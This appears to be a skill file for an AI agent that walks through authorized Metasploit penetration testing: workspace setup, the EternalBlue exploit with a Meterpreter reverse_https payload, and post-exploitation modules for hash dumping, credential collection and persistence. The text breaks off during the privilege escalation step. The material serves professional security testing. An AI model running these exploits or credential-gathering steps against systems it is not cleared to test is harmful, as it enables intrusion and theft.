/pentest-metasploit

name: pentest-metasploit
description: >
  Penetration testing framework for exploit development, vulnerability validation, and authorized
  security assessments using Metasploit Framework. Use when: (1) Validating vulnerabilities in
  authorized security assessments, (2) Demonstrating exploit impact for security research,
  (3) Testing defensive controls in controlled environments, (4) Conducting authorized penetration
  tests with proper scoping and authorization, (5) Developing post-exploitation workflows for
  red team operations.
version: 0.1.0
maintainer: sirappsec@gmail.com
category: offsec
tags: [pentest, metasploit, exploitation, post-exploitation, vulnerability-validation, red-team]
frameworks: [MITRE-ATT&CK, OWASP, PTES]
dependencies:
  packages: [metasploit-framework]
  tools: [postgresql, nmap]
references:
  - https://docs.metasploit.com/
  - https://www.offsec.com/metasploit-unleashed/
  - https://attack.mitre.org/

Metasploit Framework Penetration Testing

Overview

Metasploit Framework is the industry-standard platform for penetration testing, vulnerability validation, and exploit development. This skill provides structured workflows for authorized offensive security operations including exploitation, post-exploitation, and payload delivery.

**IMPORTANT**: This skill is for AUTHORIZED security testing only. Always ensure proper authorization, scoping documents, and legal compliance before conducting penetration testing activities.

Quick Start

Initialize Metasploit console and verify database connectivity:

# Start PostgreSQL database (required for workspace management)
sudo systemctl start postgresql

# Initialize Metasploit database
msfdb init

# Launch Metasploit console
msfconsole

# Verify database connection
msf6 > db_status

Core Workflow

Penetration Testing Workflow

Progress: [ ] 1. Verify authorization and scope [ ] 2. Configure workspace and target enumeration [ ] 3. Identify and select appropriate exploits [ ] 4. Configure payload and exploit options [ ] 5. Execute exploitation with proper documentation [ ] 6. Conduct post-exploitation activities (if authorized) [ ] 7. Document findings with impact assessment [ ] 8. Clean up artifacts and sessions

Work through each step systematically. Check off completed items.

1. Authorization Verification

**CRITICAL**: Before any testing activities:

• Confirm written authorization from asset owner
• Review scope document for in-scope targets
• Verify IP ranges and systems authorized for testing
• Confirm allowed testing windows and blackout periods
• Document point of contact for emergency escalation

2. Workspace Setup

Create isolated workspace for engagement:

msf6 > workspace -a <engagement-name>
msf6 > workspace <engagement-name>
msf6 > db_nmap -sV -sC -O <target-ip-range>

Import existing reconnaissance data:

msf6 > db_import /path/to/nmap-scan.xml
msf6 > hosts
msf6 > services

3. Exploit Selection

Search for relevant exploits based on enumerated services:

msf6 > search type:exploit platform:windows <service-name>
msf6 > search cve:<cve-id>
msf6 > search eternalblue

Evaluate exploit suitability:

• **Reliability Ranking**: Excellent > Great > Good > Normal > Average
• **Stability**: Check crash potential
• **Target Compatibility**: Verify OS version and architecture
• **Required Credentials**: Determine if authentication needed

4. Exploit Configuration

Configure selected exploit module:

msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS <target-ip>
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RPORT 445

# Configure payload
msf6 exploit(windows/smb/ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_https
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST <listener-ip>
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LPORT 443

# Validate configuration
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
msf6 exploit(windows/smb/ms17_010_eternalblue) > check

5. Exploitation Execution

Execute exploit with logging:

# Enable logging
msf6 exploit(windows/smb/ms17_010_eternalblue) > spool /path/to/logs/engagement-<date>.log

# Run exploit
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

# Or run without auto-interaction
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit -j

**Exploitation outcomes**:

• **Session opened**: Successful exploitation, proceed to post-exploitation
• **Exploit failed**: Review target compatibility, try alternative exploits
• **Target not vulnerable**: Document finding, move to next target
• **Service crash**: Document stability issue, attempt service restoration if authorized

6. Post-Exploitation (Authorized Activities Only)

Once session established, conduct authorized post-exploitation:

# List active sessions
msf6 > sessions -l

# Interact with session
msf6 > sessions -i <session-id>

# Gather system information
meterpreter > sysinfo
meterpreter > getuid
meterpreter > getprivs

# Check network configuration
meterpreter > ipconfig
meterpreter > route

# Enumerate running processes
meterpreter > ps

# Check security controls
meterpreter > run post/windows/gather/enum_av_excluded
meterpreter > run post/windows/gather/enum_logged_on_users

**Common post-exploitation modules**:

• `post/windows/gather/hashdump` - Extract password hashes (requires SYSTEM privileges)
• `post/multi/recon/local_exploit_suggester` - Identify privilege escalation opportunities
• `post/windows/gather/credentials/credential_collector` - Gather stored credentials
• `post/windows/manage/persistence_exe` - Establish persistence (if explicitly authorized)

7. Privilege Escalation

If authorized for privilege escalation:

# Identify escalation vectors
meterpreter > run post/multi/recon/local_exp